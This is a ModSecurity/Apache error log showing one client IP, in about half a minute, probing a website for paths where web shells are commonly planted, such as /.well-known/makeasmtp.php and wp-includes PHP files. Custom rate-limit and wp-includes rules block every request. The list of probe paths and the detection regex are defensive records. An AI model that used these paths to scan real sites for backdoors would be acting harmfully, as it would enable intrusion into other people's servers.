[Sun Apr 05 23:20:28.464912 2026] [:error] [pid 30921:tid 30933] [client 51.103.148.24:1936] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9vGFGQVn8Q0ueB25XLAAAAQo"]
[Sun Apr 05 23:20:29.446607 2026] [:error] [pid 45409:tid 45427] [client 51.103.148.24:1929] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9vdHt_Oyw03gjCNhwdAAAANA"]
[Sun Apr 05 23:20:29.971129 2026] [:error] [pid 45303:tid 45326] [client 51.103.148.24:2041] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9vbboQ9eViZ4hdnmKPgAAAAk"]
[Sun Apr 05 23:20:30.432176 2026] [:error] [pid 45409:tid 45414] [client 51.103.148.24:1983] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adJ9vtHt_Oyw03gjCNhwhgAAAMM"]
[Sun Apr 05 23:20:31.304575 2026] [:error] [pid 45409:tid 45429] [client 51.103.148.24:2023] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9v9Ht_Oyw03gjCNhwkgAAANI"]
[Sun Apr 05 23:20:31.847067 2026] [:error] [pid 45303:tid 45339] [client 51.103.148.24:1965] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adJ9v7boQ9eViZ4hdnmKPwAAABY"]
[Sun Apr 05 23:20:32.838933 2026] [:error] [pid 45303:tid 45336] [client 51.103.148.24:1922] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9wLboQ9eViZ4hdnmKRgAAABM"]
[Sun Apr 05 23:20:32.905622 2026] [:error] [pid 45304:tid 45362] [client 51.103.148.24:2033] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adJ9wA5jnqDKKovdRklDSwAAAFI"]
[Sun Apr 05 23:20:33.750911 2026] [:error] [pid 45303:tid 45329] [client 51.103.148.24:1976] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9wbboQ9eViZ4hdnmKTwAAAAw"]
[Sun Apr 05 23:20:33.863034 2026] [:error] [pid 45303:tid 45324] [client 51.103.148.24:1969] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adJ9wbboQ9eViZ4hdnmKUQAAAAc"]
[Sun Apr 05 23:20:34.521450 2026] [:error] [pid 45304:tid 45348] [client 51.103.148.24:2003] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9wg5jnqDKKovdRklDUQAAAEQ"]
[Sun Apr 05 23:20:35.139879 2026] [:error] [pid 45409:tid 45429] [client 51.103.148.24:1994] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9w9Ht_Oyw03gjCNhwrAAAANI"]
[Sun Apr 05 23:20:35.155314 2026] [:error] [pid 45409:tid 45423] [client 51.103.148.24:1942] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "adJ9w9Ht_Oyw03gjCNhwrQAAAMw"]
[Sun Apr 05 23:20:35.824092 2026] [:error] [pid 45303:tid 45325] [client 51.103.148.24:1944] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9w7boQ9eViZ4hdnmKYQAAAAg"]
[Sun Apr 05 23:20:36.197661 2026] [:error] [pid 45409:tid 45414] [client 51.103.148.24:2035] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9xNHt_Oyw03gjCNhwsgAAAMM"]
[Sun Apr 05 23:20:36.358087 2026] [:error] [pid 45303:tid 45322] [client 51.103.148.24:1865] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9xLboQ9eViZ4hdnmKZAAAAAU"]
[Sun Apr 05 23:20:36.836337 2026] [:error] [pid 45303:tid 45341] [client 51.103.148.24:1923] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adJ9xLboQ9eViZ4hdnmKaAAAABg"]
[Sun Apr 05 23:20:36.967707 2026] [:error] [pid 45303:tid 45321] [client 51.103.148.24:2039] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9xLboQ9eViZ4hdnmKawAAAAQ"]
[Sun Apr 05 23:20:37.705335 2026] [:error] [pid 45409:tid 45433] [client 51.103.148.24:2045] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "adJ9xdHt_Oyw03gjCNhwvQAAANY"]
[Sun Apr 05 23:20:38.404297 2026] [:error] [pid 45409:tid 45427] [client 51.103.148.24:1928] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9xtHt_Oyw03gjCNhwxAAAANA"]
[Sun Apr 05 23:20:39.032966 2026] [:error] [pid 45409:tid 45428] [client 51.103.148.24:1937] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9x9Ht_Oyw03gjCNhwzAAAANE"]
[Sun Apr 05 23:20:39.709530 2026] [:error] [pid 45303:tid 45335] [client 51.103.148.24:1991] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9x7boQ9eViZ4hdnmKeAAAABI"]
[Sun Apr 05 23:20:39.738862 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:1932] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9x7boQ9eViZ4hdnmKeQAAABQ"]
[Sun Apr 05 23:20:40.242824 2026] [:error] [pid 45303:tid 45331] [client 51.103.148.24:1930] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9yLboQ9eViZ4hdnmKfwAAAA4"]
[Sun Apr 05 23:20:40.561714 2026] [:error] [pid 45303:tid 45334] [client 51.103.148.24:2024] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "adJ9yLboQ9eViZ4hdnmKggAAABE"]
[Sun Apr 05 23:20:40.866615 2026] [:error] [pid 45303:tid 45338] [client 51.103.148.24:1906] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9yLboQ9eViZ4hdnmKhgAAABU"]
[Sun Apr 05 23:20:41.456142 2026] [:error] [pid 45303:tid 45320] [client 51.103.148.24:1920] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9ybboQ9eViZ4hdnmKhwAAAAM"]
[Sun Apr 05 23:20:41.640630 2026] [:error] [pid 45409:tid 45422] [client 51.103.148.24:2016] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9ydHt_Oyw03gjCNhw2wAAAMs"]
[Sun Apr 05 23:20:42.153922 2026] [:error] [pid 45409:tid 45427] [client 51.103.148.24:1971] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9ytHt_Oyw03gjCNhw4wAAANA"]
[Sun Apr 05 23:20:42.661716 2026] [:error] [pid 45409:tid 45415] [client 51.103.148.24:1866] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9ytHt_Oyw03gjCNhw6wAAAMQ"]
[Sun Apr 05 23:20:42.745929 2026] [:error] [pid 45409:tid 45422] [client 51.103.148.24:1993] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9ytHt_Oyw03gjCNhw7QAAAMs"]
[Sun Apr 05 23:20:43.460073 2026] [:error] [pid 45409:tid 45414] [client 51.103.148.24:2010] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9y9Ht_Oyw03gjCNhw-QAAAMM"]
[Sun Apr 05 23:20:43.938783 2026] [:error] [pid 45304:tid 45347] [client 51.103.148.24:1939] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9yw5jnqDKKovdRklDWwAAAEM"]
[Sun Apr 05 23:20:44.443942 2026] [:error] [pid 45304:tid 45361] [client 51.103.148.24:1872] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9zA5jnqDKKovdRklDXAAAAFE"]
[Sun Apr 05 23:20:45.009711 2026] [:error] [pid 45303:tid 45339] [client 51.103.148.24:2029] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "adJ9zbboQ9eViZ4hdnmKjQAAABY"]
[Sun Apr 05 23:20:45.119326 2026] [:error] [pid 45303:tid 45338] [client 51.103.148.24:1940] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ9zbboQ9eViZ4hdnmKjwAAABU"]
[Sun Apr 05 23:20:45.890697 2026] [:error] [pid 45304:tid 45366] [client 51.103.148.24:2037] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ9zQ5jnqDKKovdRklDYwAAAFY"]
[Sun Apr 05 23:20:46.478959 2026] [:error] [pid 45409:tid 45435] [client 51.103.148.24:1871] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9ztHt_Oyw03gjCNhxFgAAANg"]
[Sun Apr 05 23:20:46.921973 2026] [:error] [pid 45409:tid 45415] [client 51.103.148.24:1858] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ9ztHt_Oyw03gjCNhxHwAAAMQ"]
[Sun Apr 05 23:20:47.661268 2026] [:error] [pid 45305:tid 45373] [client 51.103.148.24:1984] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ9z-jDQjr7aWhjflCN4QAAAII"]
[Sun Apr 05 23:20:47.901290 2026] [:error] [pid 45409:tid 45431] [client 51.103.148.24:1911] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ9z9Ht_Oyw03gjCNhxKgAAANQ"]
[Sun Apr 05 23:20:48.624963 2026] [:error] [pid 45303:tid 45320] [client 51.103.148.24:1955] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ90LboQ9eViZ4hdnmKmwAAAAM"]
[Sun Apr 05 23:20:48.798801 2026] [:error] [pid 45303:tid 45328] [client 51.103.148.24:2027] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adJ90LboQ9eViZ4hdnmKnQAAAAs"]
[Sun Apr 05 23:20:49.445642 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:1934] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/makeasmtp.php"] [unique_id "adJ90bboQ9eViZ4hdnmKogAAABQ"]
[Sun Apr 05 23:20:49.714632 2026] [:error] [pid 30921:tid 30935] [client 51.103.148.24:1870] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adJ90WFGQVn8Q0ueB25XRgAAAQw"]
[Sun Apr 05 23:20:50.841977 2026] [:error] [pid 45409:tid 45432] [client 51.103.148.24:1951] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ90tHt_Oyw03gjCNhxOgAAANU"]
[Sun Apr 05 23:20:51.348749 2026] [:error] [pid 45305:tid 45388] [client 51.103.148.24:1888] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ90-jDQjr7aWhjflCN5gAAAJE"]
[Sun Apr 05 23:20:53.299669 2026] [:error] [pid 45303:tid 45329] [client 51.103.148.24:1888] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ91bboQ9eViZ4hdnmKtQAAAAw"]
[Sun Apr 05 23:20:54.090776 2026] [:error] [pid 30921:tid 30931] [client 51.103.148.24:1799] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ91mFGQVn8Q0ueB25XWAAAAQg"]
[Sun Apr 05 23:20:54.663926 2026] [:error] [pid 30921:tid 30932] [client 51.103.148.24:1947] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ91mFGQVn8Q0ueB25XWgAAAQk"]
[Sun Apr 05 23:20:55.488140 2026] [:error] [pid 45303:tid 45326] [client 51.103.148.24:1884] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ917boQ9eViZ4hdnmKugAAAAk"]
[Sun Apr 05 23:20:55.697694 2026] [:error] [pid 45305:tid 45393] [client 51.103.148.24:1865] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ91-jDQjr7aWhjflCN-gAAAJY"]
[Sun Apr 05 23:20:56.307434 2026] [:error] [pid 45305:tid 45372] [client 51.103.148.24:2044] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ92OjDQjr7aWhjflCN_gAAAIE"]
[Sun Apr 05 23:20:57.043160 2026] [:error] [pid 45303:tid 45339] [client 51.103.148.24:1880] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "adJ92bboQ9eViZ4hdnmKwgAAABY"]
[Sun Apr 05 23:20:57.071465 2026] [:error] [pid 45303:tid 45325] [client 51.103.148.24:2046] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ92bboQ9eViZ4hdnmKwwAAAAg"]
